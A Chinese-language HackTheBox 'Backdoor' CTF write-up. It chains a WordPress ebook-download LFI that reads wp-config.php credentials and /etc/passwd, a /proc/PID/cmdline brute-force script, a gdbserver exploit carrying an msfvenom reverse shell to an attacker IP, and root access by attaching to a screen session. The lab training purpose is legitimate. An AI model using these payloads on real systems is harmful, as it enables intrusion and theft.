> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).

# Backdoor HackTheBox 解题报告

{% hint style="warning" %}
**技能：**

* WordPress 本地文件包含漏洞（LFI）
* 从 LFI 到 RCE（滥用 /proc/PID/cmdline）
* Gdbserver RCE 漏洞
* 滥用 Screen（权限提升）（会话同步）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/4b5dcba35fd2a5680be6e2a6a464a531a3c893b2" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/7c8c45237932ea3da4a31b388ec440d8cf4e0eb2" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```

<figure><img src="/files/6d33a05f5ad2bb6a67a5c42caf7e81212003c6be" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22,80,1337）

<figure><img src="/files/b7567bba3407f17d30520a2914a899bbbe9f2056" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```

<figure><img src="/files/90e449cb01a963fdd6fba9f08eef66fc05c73363" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/116b592fd6f5cb052942fbb28f214f7f46c1b0fb" alt=""><figcaption></figcaption></figure>

### 端口 80 - WordPress

**WordPress 识别：**

通过 **WhatWeb** 工具，80 端口上的服务被识别为 WordPress。

<div data-full-width="true"><figure><img src="/files/a7383c98f21dfbac5d1fe7441042cac4f6c88162" alt=""><figcaption></figcaption></figure></div>

**用户枚举：**

通过暴力破解攻击发现了一个有效用户（admin）：

<figure><img src="/files/d4f309528ddc23d07b5320006b12291bdc896abf" alt=""><figcaption></figcaption></figure>

```bash
wpscan --url http://backdoor.htb/ -e u  
```

<figure><img src="/files/95a246243027355fb3e5a873d5fef439b71ea292" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 枚举目录：**

目录搜索：

```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/fcf65488fce946a00866dd1cc67adad6f4397316" alt=""><figcaption></figcaption></figure>

## Ebook-Download 漏洞 - LFI

搜索 **wp-content/plugins** 以发现已启用的插件：

```
/wp-content/plugins
```

<figure><img src="/files/54ccf6e0b4e6b0a0522be0a457fdb3292c26d282" alt=""><figcaption></figcaption></figure>

该 **ebook-download** 该插件存在一个可通过以下方式利用的 LFI 漏洞：

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="/files/d2c2408ee77d3f95f7e41c57680d3da925633d26" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb7454e8b61d5736ee7fb7b6fdde00e048d8bf94" alt=""><figcaption></figcaption></figure>

该请求允许你下载任意文件。通过恢复 `wp-config.php` 文件

<figure><img src="/files/a28dea4c7009fcf50928dfce5cfeaf9786b510c0" alt=""><figcaption></figcaption></figure>

我们得到以下信息：

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="/files/a394dced81b774b3172c0f2e62589bb5f1f67fa0" alt=""><figcaption></figcaption></figure>

这些信息不能让你连接到 `wp-admin` 界面，

<figure><img src="/files/8bab28225541535c8c93072c0ed34d6ad9ab0c33" alt=""><figcaption></figcaption></figure>

## LFI 漏洞利用

**敏感文件列表：**

通过 /etc/passwd 列出系统用户：

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```

<figure><img src="/files/058bd7fa5f2663f7c4c039349784e5554f29acc6" alt=""><figcaption></figcaption></figure>

尝试恢复用户的 SSH 私钥 `用户`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```

这些尝试很可能由于这些文件的权限受限而失败。

<div data-full-width="true"><figure><img src="/files/623af35933341c778db0f4d1adb89ac63ec21c04" alt=""><figcaption></figcaption></figure></div>

### **LFI - Proc**

**进程探索**

创建一个 Python 脚本，通过探查来提取进程信息 `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3


from pwn import *
import requests, signal, time, pdb

def def_handler(sig, frame):

    print("/n/n[+]] 正在退出.../n")
    sys.exit(1)

# Ctrl + c 

signal.signal(signal.SIGINT, def_handler)

# 全局变量 
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="


def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    sleep(2)

    for i in range(1, 1000):
        p1.status("尝试使用路径 /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)

        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("路径：/proc/%s/cmdline" % str(i))
            log.info("总长度：%s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")

if __name__ == '__main__':
    makeRequest()
```

通过分析进程，1337 端口被识别为一个， **gdbserver** 服务器。

<div data-full-width="true"><figure><img src="/files/b0da0ee3b6372b4ca5927ccb51f8d758421bcf8d" alt=""><figcaption></figcaption></figure></div>

## 端口 1337 - gdbserver

gdbserver 的利用漏洞可在 **Searchsploit**:

<figure><img src="/files/738d7fa5e5812c18489b386313b8e5d838db19f7" alt=""><figcaption></figcaption></figure>

**gdbserver 利用：**

```bash
searchsploit -m linux/remote/50539.py
```

1. 生成反向 shell：

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```

2. 在 443 端口上启动监听器：

```bash
nc -nvlp 443
```

3. 运行漏洞利用：

```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```

<figure><img src="/files/e534d853926488dab104fb888a252ac1e326509e" alt=""><figcaption></figcaption></figure>

为了更稳定地处理交互式 shell：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt 标志：）

<figure><img src="/files/075771ffa4210d7775c431462b3c6231ccc468ef" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUID - Screen：

#### SUID 二进制文件识别

我们将使用以下命令在系统中搜索启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/7919fc6d348c0f675b0395695f6c4cf8e3c6f025" alt=""><figcaption></figcaption></figure>

#### Screen 进程分析

要检查正在运行的与 Screen 相关的进程，我们使用以下命令：

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/ab5e492b8e0f1f2ec4fa006af64ff555ebae430a" alt=""><figcaption></figcaption></figure></div>

我们发现以下进程正在运行：

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

上述进程表明，如果 `/var/run/screen/S-root/` 文件夹为空。借助这种设置，我们可以利用 Screen 获取 root 访问权限。

```bash
screen -x root/
```

### root.txt flag :)

以 root 身份访问 Screen 会话后，你现在拥有管理员权限。

<figure><img src="/files/496def476abed37de55ac5a681aa7287111f1807" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fe08aa6577addef7a919901e71d49642fd89502" alt="" width="527"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
